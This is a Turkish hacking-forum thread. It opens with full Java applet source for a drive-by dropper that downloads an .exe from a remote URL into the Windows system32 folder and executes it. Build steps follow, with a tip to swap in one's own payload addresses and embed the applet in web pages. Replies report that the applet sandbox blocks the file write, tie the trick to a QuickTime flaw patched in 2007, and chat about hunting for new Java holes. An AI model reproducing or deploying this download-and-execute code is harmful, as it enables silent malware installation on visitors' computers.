

Java İle Karşı Uzaktan Dosya İndirme>Çalıştırma(Güvenlik Açığı)
-
Aylardır var olan bir açık..Paylaşiyım dedim.Kodlar;import java.applet.Applet;
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
public class Client extends Applet
{
public Client()
{
}
public void start()
{
try
{
BufferedOutputStream bufferedoutputstream = null;
Object obj = null;
InputStream inputstream = null;
URL url = new URL("http://www.aq.com/applet/Client.exe");
bufferedoutputstream = new BufferedOutputStream(new FileOutputStream("C:\\windows\\system32\\DosyaAdi.exe"));
URLConnection urlconnection = url.openConnection();
inputstream = urlconnection.getInputStream();
byte abyte0[] = new byte[1024];
int i;
for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
bufferedoutputstream.write(abyte0, 0, i);
try
{
if(inputstream != null)
inputstream.close();
if(bufferedoutputstream != null)
bufferedoutputstream.close();
}
catch(IOException ioexception) { }
Runtime runtime = Runtime.getRuntime();
try
{
Process process = runtime.exec("C:\\windows\\system32\\DosyaAdi.exe");
process.waitFor();
BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String s;
while((s = bufferedreader.readLine()) != null)
System.out.print(s);
}
catch(Exception exception1) { }
try
{
if(inputstream != null)
inputstream.close();
if(bufferedoutputstream != null)
bufferedoutputstream.close();
}
catch(IOException ioexception1) { }
}
catch(Exception e) { }
}
public static void main(String args[])
{
try
{
BufferedOutputStream bufferedoutputstream = null;
Object obj = null;
InputStream inputstream = null;
URL url = new URL("http://www.aq.com/applet/DosyaAdi.exe");
bufferedoutputstream = new BufferedOutputStream(new FileOutputStream("C:\\windows\\system32\\DosyaAdi.exe"));
URLConnection urlconnection = url.openConnection();
inputstream = urlconnection.getInputStream();
byte abyte0[] = new byte[1024];
int i;
for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
bufferedoutputstream.write(abyte0, 0, i);
try
{
if(inputstream != null)
inputstream.close();
if(bufferedoutputstream != null)
bufferedoutputstream.close();
}
catch(IOException ioexception) { }
Runtime runtime = Runtime.getRuntime();
try
{
Process process = runtime.exec("C:\\windows\\system32\\DosyaAdi.exe");
process.waitFor();
BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String s;
while((s = bufferedreader.readLine()) != null)
System.out.print(s);
}
catch(Exception exception1) { }
}
catch(Exception e) { }
}
public void stop()
{
}
}Kullanımı: Bunu derlemek için;1) http://www.eclipse.org/downloads/ Burdan, "Eclipse Classic" bunu indirip,(Alternatif program jCreator ) yükleyin.(Java sdk filayn yüklü olduğunu varsayıyoruz)2) Programda "Create New Java Project"ile yeni bir proje açıp,yeni bir "class" oluşturun.Kodları yapıştırın.2) Exe adreslerini değiştirin.4) Sonrası Allah kerim..Not: Eğer yapamazsanız, piyasadaki java appletlerini inceleyerek script içine monte ederek uygulayabilirsiniz... -
Java'nın applet güvenliği çok sıkıdır, değil dosya yazmak, öyle heryerdeki dosyalar bile okunamaz.
Bu açık ne zaman varmış çok merak ettim ( hangi versiyonda ? )
Bu kodu 1.5.0_12 ve 1.6 update 3 ve 1.6 update 7'de denedim ve doğal olarak dosya yazma hatası aldım,
(tabii hatanın ne olduğunu görebilmek için Exception'ların boş bırakılan satırlarını doldurdum)
java.security.AccessControlException: access denied (java.io.FilePermission C:\windows\system32\DosyaAdi.exe write)
Erişim engellendi kısaca, doğal olarak :)
-
%
-
O isimle arama yaptığımda , benzer bir sonuç buldum. Sistemde Quictime yüklü olduğu zaman çalışıyormuş. MacOS ve Windows'ları etkiliyormuş,
1 mayıs 2007 de bu açık için quictime güncelleme yayınlamış.
Güncel bir açık olsa çok sevinecektim ama buna da şükür .) ilham geldi, javada açık arayacağım :)
-
kabuCe bunu yazdı:
-----------------------------O isimle arama yaptığımda , benzer bir sonuç buldum. Sistemde Quictime yüklü olduğu zaman çalışıyormuş. MacOS ve Windows'ları etkiliyormuş,
1 mayıs 2007 de bu açık için quictime güncelleme yayınlamış.
Güncel bir açık olsa çok sevinecektim ama buna da şükür .) ilham geldi, javada açık arayacağım :)
-----------------------------Ara Hocam ara...
senden ogrenecem diye omrumu yedi java...
-
html tro ilede halledebilirsin boyle kasmana gerek yok kendini..
-
Peki indirdikten sonra kendisi otomatik çalıştırıyormu arkadaşlar?
-
crackerlive bunu yazdı:
-----------------------------
Peki indirdikten sonra kendisi otomatik çalıştırıyormu arkadaşlar?
-----------------------------bak arkada$ ne yazmı$.
--------
O isimle arama yaptığımda , benzer bir sonuç buldum. Sistemde Quictime yüklü olduğu zaman çalışıyormuş. MacOS ve Windows'ları etkiliyormuş,
1 mayıs 2007 de bu açık için quictime güncelleme yayınlamış.
Güncel bir açık olsa çok sevinecektim ama buna da şükür .) ilham geldi, javada açık arayacağım :)
--------